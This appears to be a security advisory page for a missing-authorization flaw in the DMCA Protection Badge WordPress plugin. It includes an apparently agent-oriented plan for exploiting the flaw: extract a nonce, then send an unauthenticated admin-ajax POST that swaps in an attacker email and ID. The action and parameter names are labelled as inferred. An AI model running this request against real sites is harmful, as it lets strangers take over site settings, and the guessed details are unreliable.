DMCA Protection Badge <= 2.2.0 - Missing Authorization
Description
The DMCA Protection Badge plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 2.2.0. This makes it possible for unauthenticated attackers to perform an unauthorized action.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=2.2.0# Research Plan: CVE-2025-62145 - DMCA Protection Badge Missing Authorization This research plan focuses on identifying and exploiting a missing authorization vulnerability in the DMCA Protection Badge plugin for WordPress (versions <= 2.2.0). ## 1. Vulnerability Summary The DMCA Protection Badge …
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Research Plan: CVE-2025-62145 - DMCA Protection Badge Missing Authorization
This research plan focuses on identifying and exploiting a missing authorization vulnerability in the DMCA Protection Badge plugin for WordPress (versions <= 2.2.0).
1. Vulnerability Summary
The DMCA Protection Badge plugin is vulnerable to unauthorized access because it fails to perform capability checks (e.g., current_user_can( 'manage_options' )) on one of its AJAX or initialization handlers. This allows unauthenticated attackers to trigger actions that should be restricted to administrators, such as modifying plugin settings or updating account information.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Vulnerable Hook:
wp_ajax_nopriv_{action}(inferred) orwp_ajax_{action}(if no capability check exists inside the function). - Likely Action Name:
dmca_badge_save_settingsordmca_save_account(inferred). - Authentication: None (Unauthenticated).
- Preconditions: The plugin must be active. If the handler requires a nonce, it must be retrievable from the public-facing site.
3. Code Flow (Inferred)
- The plugin registers an AJAX handler in its main file or an
includes/class-admin.phpfile using:add_action( 'wp_ajax_nopriv_dmca_badge_save_settings', 'dmca_badge_save_settings_callback' ); - The
dmca_badge_save_settings_callback()function is executed when a POST request is sent toadmin-ajax.phpwith the corresponding action. - The function likely performs a
wp_verify_nonce()(orcheck_ajax_referer()) but crucially fails to callcurrent_user_can(). - The function then updates plugin options using
update_option( 'dmca_badge_settings', ... )or similar, based on$_POSTdata.
4. Nonce Acquisition Strategy
If the vulnerable function uses check_ajax_referer or wp_verify_nonce, the nonce is likely localized for the frontend.
- Identify Shortcode: Search for shortcodes used by the plugin:
grep -rn "add_shortcode" /var/www/html/wp-content/plugins/dmca-badge/ - Create Test Page:
wp post create --post_type=page --post_title="DMCA Test" --post_status=publish --post_content='[dmca-badge]'(Replace[dmca-badge]with the actual shortcode found). - Find Localization Key: Search for
wp_localize_scriptin the plugin source to find the JavaScript object name.grep -rn "wp_localize_script" /var/www/html/wp-content/plugins/dmca-badge/
Target Identification: Look for an object likedmca_badge_objand a key likenonce. - Extract Nonce:
Usebrowser_navigateto the test page, then:browser_eval("window.dmca_badge_obj?.nonce")(Replacedmca_badge_objwith the real key).
5. Exploitation Strategy
Once the action name and nonce are confirmed:
Craft the Payload: Determine the parameters required to update settings. This usually involves a settings array or a specific ID.
Example Target: Changing the DMCA account ID or email to redirect protection data/badges.Send the Request:
Use thehttp_requesttool to send a POST request to the AJAX endpoint.POST /wp-admin/admin-ajax.php HTTP/1.1 Host: localhost:8080 Content-Type: application/x-www-form-urlencoded action=dmca_badge_save_settings&nonce=[EXTRACTED_NONCE]&dmca_badge_id=999999&dmca_badge_email=attacker@example.com(Note: Parameter names like
dmca_badge_idmust be verified by grepping forupdate_optionor$_POSTin the plugin's source code).
6. Test Data Setup
- Install and activate the DMCA Protection Badge plugin v2.2.0.
- Configure a dummy DMCA ID via the admin panel (
/wp-admin/admin.php?page=dmca-badge) to establish initial state. - Create a public page with the plugin's shortcode (if needed for nonce extraction).
7. Expected Results
- Response: The server should return a
200 OKand potentially a JSON response like{"success": true}or1. - Effect: The plugin settings in the WordPress database will be modified to match the attacker's payload.
8. Verification Steps
After the HTTP request, verify the change using WP-CLI:
- Check Plugin Options:
wp option get dmca_badge_settings(Verify if the ID or email has changed). - Verify DB State:
wp db query "SELECT option_value FROM wp_options WHERE option_name = 'dmca_badge_settings'"
9. Alternative Approaches
If no wp_ajax_nopriv action is found, check for:
- Hook
initoradmin_init: Search for functions hooked to these that process$_POSTvariables without checkingis_admin()orcurrent_user_can().grep -rn "add_action.*init" /var/www/html/wp-content/plugins/dmca-badge/ - REST API: Check if the plugin registers a REST route via
register_rest_routewithpermission_callbackset to__return_trueor missing.grep -rn "register_rest_route" /var/www/html/wp-content/plugins/dmca-badge/
Summary
The DMCA Protection Badge plugin for WordPress (up to version 2.2.0) is vulnerable to unauthorized access because it fails to perform capability checks on its configuration-saving functions. This allows unauthenticated attackers to perform administrative actions, such as updating DMCA account settings or IDs, by sending unauthorized requests to the site's AJAX handler.
Exploit Outline
The exploit targets the plugin's AJAX handler (likely at `/wp-admin/admin-ajax.php`). 1. **Nonce Retrieval**: The attacker first identifies a public page where the DMCA badge shortcode is used. They inspect the page source or localized JavaScript objects (e.g., `dmca_badge_obj`) to extract a valid security nonce. 2. **Payload Construction**: A POST request is crafted with the `action` parameter (e.g., `dmca_badge_save_settings`), the extracted `nonce`, and the specific plugin parameters the attacker wishes to modify (such as `dmca_badge_id` or `dmca_badge_email`). 3. **Execution**: The request is sent to the admin-ajax endpoint without authentication. Because the plugin lacks a `current_user_can('manage_options')` check within the handler, the request successfully updates the plugin's options in the database.
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